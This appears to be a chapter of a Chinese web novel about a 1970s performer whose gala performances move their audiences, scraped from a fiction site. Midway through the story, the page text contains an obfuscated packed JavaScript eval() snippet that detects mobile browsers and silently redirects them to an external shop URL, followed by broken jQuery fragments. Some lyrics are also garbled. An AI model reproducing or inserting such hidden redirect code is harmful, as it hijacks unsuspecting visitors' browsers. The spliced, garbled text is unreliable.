文趣网 > 其他小说 > 七零大明星 > 22. 试水
    闻见微回到家,正要去打电话,方春苗端着一盘苹果派过来。

    “闻同志,唐部长下午让人送来了两条带鱼,说是元旦节收到的特供,知道您爱吃海货,就给您送来了,您看明天怎么吃好?”

    “这两天没时间,先放着吧。”

    方春苗把苹果派放到她旁边,“还有这个,是隔壁骆老师送来的,说是她女儿今天过来看她带的,她想着您是年轻人爱吃这些,就给您送了一份。”

    闻见微点头,“行,我知道了。”

    方春苗转身去忙。

    虽然闻同志才搬过来没多久,但邻里关系这一块儿,天天不是这家的饺子,就是那家的包子,方春苗跟着迅速地适应了环境。

    闻见微给罗局长办公室打电话。

    “罗局长,还在忙呢。”闻见微十分热情。

    罗局长停顿了一会儿,“你直接说什么事儿吧。”

    闻见微笑道:“之前您不是答应帮我借一件朝鲜族的表演服吗,明天就要用了,什么时候能送过来啊,或者我过去取一趟?”

    “那你明天上午过来吧,正好一起开个会。”

    “我当然也想过去帮帮忙,”闻见微先表态,“但是吧,我今天答应了参加学校那边的元旦演出,明天下午要去彩排,想请您再帮我借一条蓝色的帝政裙。”

    “蓝色?”罗局长很敏感。

    “嗯,”闻见微确认,“您看……”

    “你等等,我想想,这样你明天上午先过来一趟。”罗局长说完撂了电话。

    另一边薛畅也在打电话。

    “小叔!”

    “怎么了?”耗子吃了豹子胆了?

    “我真是看错你了,我原本以为你这阵子心情好,是因为跟着闻同志,工作比较轻松,没想到!你是因为不用跟着闻同志了!”薛畅愤愤。

    “有事说事,我忙着呢。”薛承飞想挂电话。

    “等等,你太过分了!人家闻同志还记着你呢,给你留了一张上次我们大家的大合照,让我带给你,结果你就这样!”

    听筒对面薛承飞好像叹了一声,说:“你先帮我收着,你告诉她,我听说体校有一个叫柳春生的武术教练。”

    “什么意思?”

    “就这样,我挂了,忙。”

    薛畅握着电话听筒恨恨,她还没说她找他干嘛呢!她还特意拖了两天!

    第二天上午,闻见微坐车到了文/化部,熟门熟路找到罗局长办公室,没看到演出服,先被他带到了会议室,一直到下午六点,才终于放人。

    至于学校的演出,罗局长说:“你直接去就行,小袁你跟着过去。”

    罗局长指派了一个干事。

    到了学校,袁干事去和校工会的人交涉,闻见微带着吕红直接去换衣服化妆。

    等闻见微公主半披发、浓眉红唇、裹着一件军大衣出来,袁干事怔愣一瞬,对她点头,“闻同志,都安排好了,您的节目排在第五个。”

    晚会地点在学校的大饭厅,厅里有一个正式的舞台,平时做食堂,需要的时候把桌子凳子搬开,就是活动场地。

    大饭厅场地很大,能容纳几千人,但舞台条件简陋。

    只有两层幕布用来分隔节目,没有侧幕,乐队只能挤在观众席前面,灯光就是普通的白炽灯,一支有线话筒架在台上,主持人和表演节目的人轮流用。

    但很热闹。

    观众们自带方凳坐得满满当当,窗台上都挤满了人。

    台上主持人开始报幕,小袁干事从幕布后绕边坐到了乐队的钢琴后,闻见微脱掉军大衣给吕红,里面是一袭及踝的冰川蓝大方领帝政裙,身形修长优雅。

    幕布拉开。

    台下响起轰然的议论声。

    小袁干事奏响旋律,闻见微提着裙摆走出。

    “Thesnowglowswhite……”①

    一首她小学时表演过,并且仍旧统治后面小学生及其家长的歌。

    很经典的歌曲,但台下百分之九十以上的人不知道她在唱什么,而这里已经是平均英语水平较高的地方。

    闻见微的舞台表现能力镇得住场,于是台下的人看着她,听着她的歌声,感受她的情绪,慢慢被带入其中。

    但也有很大部分观众……

    “我的天,这就是外语系的闻老师吗?听说过她漂亮,没想到这么漂亮。”

    “感觉脸好小啊,好精致。”

    “长得太好看了吧,这么远我都能清楚看见她的五官!”

    原本带了相机专门来拍家人朋友的,已经举起了相机。

    黄明刚、李小燕这些闻见微的学生也看呆了,只在闻见微鞠躬谢幕的时候,跟着大流用力鼓掌。

    闻见微才不管后续各方反应是发大水还是着大火,反正她坐车去赶下一场了,但小袁干事没走。

    他混进了观众里。

    “同学,你觉得刚才的歌唱怎么样?”

    同学点头:“好看,特别好看。”

    小袁干事吸了口气换了种问法,“你喜欢刚才那个节目啊。”

    “喜欢啊,多好看啊。”

    小袁干事换着问了许多人,有给与肯定的,也有说难听话的,“穿的什么啊,伤风败俗。”“大庭广众唱外文歌,这是要搞反/革/命啊,必须打倒!”

    小袁干事走的时候,带相机的观众已经成了周围大片观众的焦点。

    “我出钱,帮我加印一张!”

    小袁干事回去汇报,罗局长听了很苦恼。

    “我也知道她长得好,现场表现力更好,可问题是唱片它只有声音,没有画面。”

    小袁干事提议,“那印海报呢?”

    罗局长皱着眉头,“海报比起她的现场还是差了点意思,而且成本问题也要考虑,这要是不成……”

    罗局长难以决定。

    五天前,香江注册成立了一家全资中资的唱片公司,在与香江的一些国际唱片公司接洽,过程不是很顺利。

    香江的商业环境复杂,他们每走一步,都承担着巨大的压力,花的每一分,都是外汇。

    想到那么一大笔钱,罗局长就心慌得吃不下睡不着。

    这些闻见微暂时不知道,她只是抽了一天时间,听安排帮忙录了歌,大概知道罗局长他们想推一首外文歌出去试试水,看能不能挣点外汇回来,至于其它工作的进度就不了解了。

    此时,她在空军大院的礼堂后面候场。

    大院的礼堂条件比京大的好许多。

    是一座专门的正规的剧场建筑,舞台有17道可自由升降的配种吊杆来悬挂幕布和布景,有专门的顶面光灯区和大功率舞台照明灯,演出时可以做到‘台上灯火通明,台下漆黑一片’的剧场效果,观众席也是翻版成型椅。②

    此时观众席上,有几个人交头接耳。

    “是这儿没错吧?你们不是早知道了吗,还没搞到节目单?”是想办法进来的薛畅四人。

    樊东说:“就空军、海军、总后和西山是今天汇演,其他大院要么昨天,要么明天,西山是晚上6点,总后是6点半,海军的我看过了,没有,就这儿了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652546|206454||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    薛畅问:“你们就没有一个这儿的朋友?”

    高振兴和樊东不说话了。

    薛畅嫌弃地啧了一声。

    黎平平哄她:“没事儿,我们一开始就进来了,肯定能等到,要是太晚了,你就到我家住。”

    两人的友谊小船修复完毕。

    “……接下来是家属委员会报送,由骆淑慧老师和闻见微老师带来的歌舞表演《映山红》,让我们掌声欢迎。”

    薛畅和黎平平两人握着手压着声音低声尖叫,“啊啊啊,等到了!”

    高振兴和樊东坐正了身子。

    幕布拉开,骆淑慧和闻见微牵着手亮相。

    五十多岁的骆淑慧老师,头发斑白,一身军便服,身姿挺拔,身上有岁月留下来的温柔和从容。

    闻见微一袭白衣红裙的朝鲜族服装,梳着一个粗长的发辫,满身少女的鲜艳和昂扬。

    两人拉着手相视一笑。

    台下响起嗡嗡的议论声。

    为太多。

    《映山红》是这两年出的歌,不算新,但也称不上旧,目前还没有歌舞表演的形式;为这老少俩的组合;为闻见微身上的朝鲜族服饰;为这一幕美得像一副画,让人不由想起好多故人故事,鼻头微酸。

    年轻人薛畅和黎平平只四手交握,拼命压制,“要命,太好看了吧,太好看了吧!闻姐姐是要跳舞吗?救命救命!”

    一笑过后,旋律响起,台下渐渐安静。

    骆淑慧老师缓步走到舞台右侧靠前立着的话筒前。

    闻见微着提着裙摆,余光向上扫了一眼,应着音乐,舞步翩跹地走到舞台中央。

    舞台的中央上方,有一个吊挂着的话筒,常用于戏剧表演节目,条件有限,闻见微要边唱边跳,也只能采取这个办法,为了演出效果,她舞蹈走位的范围以话筒为中心点,不能太大。

    这些,台下的观众看不到。

    他们只看到舞台上灯光又灭,只有一束光落在闻见微的身上。

    闻见微踩着节奏舞起来,好看的人动起来更好看了。

    尤其她的每一个眼眸和动作都好像含着情意。

    台下的观众全情投入,看得如痴如醉。

    闻见微开始唱:“??????……”③

    “诶,不对,这是《映山红》吗?”台下又响起小声的议论。

    年纪大的人闪着泪花,声音微微哽咽,“朝鲜语版本的吧,当年我和……”

    台下慢慢安静,许多观众眼眶发红,眼泪滑了一脸。

    前排的领导也是喉头几滚,明显压着情绪。

    闻见微唱罢跳罢,和着余音,抱着自己低头慢慢蜷缩成一团,巨大的、火红的裙摆铺散开,好似她化作了一朵映山红,又好像她在虔诚地盼望着‘映山红’。

    台下一些观众没忍住呜咽出声。

    本以为这几秒的停顿,是给观众们缓和情绪,但舞台上又一道光打下,照亮骆淑慧老师站着的地方。

    音乐再响,骆淑慧老师开始唱,闻见微站起来,不再受限制,用华国舞放开了舞。

    和着骆淑慧老师更深情、更厚重、也更动人的歌声,用高难度的旋转和动作,把整场表演和全场情绪推向更高潮。

    余音落下,闻见微和骆淑慧老师携手谢幕。

    骆淑慧老师的眼眶也有些红,闻见微轻握她的手,微笑安慰。

    台下好一会儿才响起掌声。

    此时两人已经退回幕布后面。

    薛畅伸手摸到满脸的泪水,“太好看了,太好看了,呜呜。”